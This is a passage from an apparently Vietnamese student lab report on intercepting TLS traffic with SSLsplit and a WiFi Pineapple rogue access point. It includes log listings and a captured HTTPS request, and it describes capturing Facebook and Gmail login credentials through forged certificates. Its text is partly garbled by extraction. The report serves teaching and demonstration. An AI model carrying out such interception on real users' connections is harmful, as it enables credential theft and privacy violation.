root@pbox:/tmp/sslsplit/logdir# ls
20130804T162001Z-[192.168.178.20]:57207-[173.194.70.16]:993.log
  
20130804T162301Z-[192.168.178.20]:53188-[88.221.93.87]:443.log
20130804T162258Z-[192.168.178.20]:39327-[31.13.81.33]:443.log    
20130804T162301Z-[192.168.178.20]:53189-[88.221.93.87]:443.log
20130804T162258Z-[192.168.178.20]:56024-[88.221.93.78]:443.log  
  20130804T162301Z-[192.168.178.20]:53190-[88.221.93.87]:443.log
20130804T162258Z-[192.168.178.20]:56025-[88.221.93.78]:443.log  
  20130804T162301Z-[192.168.178.20]:53192-[88.221.93.87]:443.log
...


18


● Mỗi tệp cho biết chính xác thời gian ổ cắm TCP được mở cũng như địa chỉ
IP nguồn và điểm đến và cổng. Bạn có thể xem qua tệp bằng đầu ...,hoặc sử
dụng trình soạn thảo văn bản u thích của bạn:
root@pbox:/tmp/sslsplit/logdir#
head
20130804T162258Z-[192.168.178.20]:39327-[31.13.81.33]:443.log
GET / HTTP/1.1
Host: www.facebook.com
Connection: keep-alive
Cache-Control: max-age=0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: ...
❖ Ví dụ
Bạn có thể nghe nhiều giao thức khác nhau bằng SSLsplit. Dưới đây là một
vài ví dụ về HTTPS, IMAP qua SSL và SMTP qua SSL.
a. Đánh hơi HTTPS (google.de & facebook.com)
● Khi SSLsplit đang chạy, tất cả thông tin liên lạc giữa khách hàng và máy
chủ thực tế sẽ đi qua SSLsplit. Sử dụng tùy chọn -D SSLsplit in kết nối và
giả mạo chứng chỉ trên STDOUT. Thêm vào đó, nội dung được viết vào
logdir ("/tmp/sslsplit/logdir/"). Sử dụng một cái gì đó như đi -f / tmp /
sslsplit / loggdir / 20130804T162301Z-* .log bạn có thể theo dõi giao tiếp
giữa máy chủ và máy khách.


19


Hình 8: Chặn bắt đăng nhập để lấy thơng tin đăng nhập trang google
● Trong ảnh chụp màn hình ở trên, cửa sổ bảng điều khiển phía trên hiển thị
đầu ra của SSLsplit. Nó hiển thị chứng chỉ Facebook ngược dòng thực sự
(với dấu vân tay f5:6b: f2: 44:...) và chứng chỉ giả mạo của SSLsplit - tự
nhiên với dấu vân tay khác, bởi vì nó được ký bởi một cơ quan chứng nhận
khác.
● Cửa sổ bảng điều khiển thấp hơn hiển thị nội dung giao tiếp HTTPS giữa
trình duyệt và máy chủ Facebook. Ảnh chụp màn hình ví dụ hiển thị yêu cầu
HTTPS
POST
thành
" bao gồm tên
người dùng của tôi (&email=...) và mật khẩu(&pass=...).
● Nếu người ta nhấp vào biểu tượng khóa nhỏ trên bất kỳ trang web được mã
hóa SSL / TLS nào trong khi chuyển hướng lưu lượng truy cập qua
SSLsplit, chứng chỉ sẽ được cấp cho tên chung thực sự (CN), tổ chức (O) và
đơn vị tổ chức (OU), nhưng không được phát hành bởi CA thực.

20


Hình 9: Tên của tổ chức đơn vị phát hành CA thực
Ví dụ trên cho thấy giấy chứng nhận giả cho "www.google.de", được cấp bởi
"Giấy chứng nhận CA giả" do tơi tạo ra trước đó.
b. Đánh hơi IMAP qua SSL (imap.gmail.com) 
● Trong ví dụ thứ hai, tơi đã sử dụng Thunderbird để kết nối với tài

khoản Gmail của mình. Khơng giống như máy khách thư dựa trên
web, Thunderbird kết nối với máy chủ Google / Gmail thông qua
IMAP trên cổng 143 hoặc qua IMAP qua SSL trên cổng 993. Trong
khi giao tiếp trên cổng 143 khơng được mã hóa và có thể được đọc
bằng các cơng cụ khác (Wireshark, tcpdump, v.v.), IMAP qua SSL yêu
cầu một proxy man-in-the-middle để phân chia giao tiếp SSL.

21


Hình 10: Chặn bắt lưu lượng truy cập tài khoản gmail
Ảnh chụp màn hình ở trên ghi lại kết nối ban đầu của Thunderbird với máy
chủ Gmail IMAP (thường imap.gmail.com, ở đây: imap.googlemail.com) trên cổng
993. Giống như trong ví dụ đầu tiên, bảng điều khiển trên hiển thị đầu ra gỡ lỗi
SSLsplit (cho thấy cách SSLsplit giả mạo chứng chỉ) và bảng điều khiển thấp hơn
hiển thị các byte được trao đổi qua ổ cắm SSL.
Như bạn có thể thấy trong ảnh chụp màn hình, giao tiếp IMAP bao gồm trao
đổi khả năng máy khách và máy chủ(1 khả năng)với một chút trò đùa bên trong từ
các nhà phát triển máy chủ(1 OK Đó là tất cả những gì cơ ấy viết ...),cũng như xác
thực(3 đăng nhập "" "mật khẩu"). Phần thứ hai có lẽ là thú vị
nhất đối với những kẻ tấn công.
Sau khi xác thực, máy khách và máy chủ đều đồng ý tiếp tục cuộc trò chuyện
bằng cách sử dụng nén(4 NÉN DEFLATE),vì vậy phần cịn lại của tin nhắn tự
nhiên không thể đọc được của con người nữa. Tuy nhiên, vì nó chỉ được nén và
khơng được mã hóa, nó có thể được đọc bằng các cơng cụ Linux đơn giản.

22


Phần 3. Các Lab demo

Lab 1 : Phân tách dữ liệu wifi bằng SSLsplit
Đầu tiên phải chắc chắn rằng đã kết nối với một ứng dụng khách và ở đây ta
sẽ dùng máy ảo ipad để chắc chắn rằng người dùng đang sử dụng điểm truy cập giả
mạo do mình cung cấp.

Hình 11: Trang chủ của wifi Pineapple
Hostname của máy ipad

Hình 12: IP của máy được kết nối vào
23


Tiếp theo truy cập vào mục phân tách mà SSLsplit sẽ chặn bắt

Bấm stop để thực hiện quá trình tách và nhật ký sẽ được ghi lại dưới Refresh log.
Phía dưới là phần history cung cấp cho ta một cái nhìn cụ thể hơn về tệp nhật ký.

Hình 14: Nhật ký thời gian thực hiện phân tách
Truy cập modul nhật ký phân tách SSL:
Ta sẽ thử với certificate cho biết sẽ có 1 chứng chỉ liên kết với modul này hiển thị
cho người dùng cuối khi họ duyệt qua một trang web https họ sẽ được hiển thị một
cảnh báo và nếu bạn xem chi tiết về điều đó thì chứng chỉ ta thấy được đó là:

24


Hình 15: Truy cập thiết bị dùng để liên kết
Trong cấu hình đây là các bảng thay đổi ip đang được đặt khi modul này được bật
đó là nó được hạ bậc cấp giao thức HTTPS xuống HDB.


Hình 16: Thơng tin được chặn bắt và hiển thị

25


×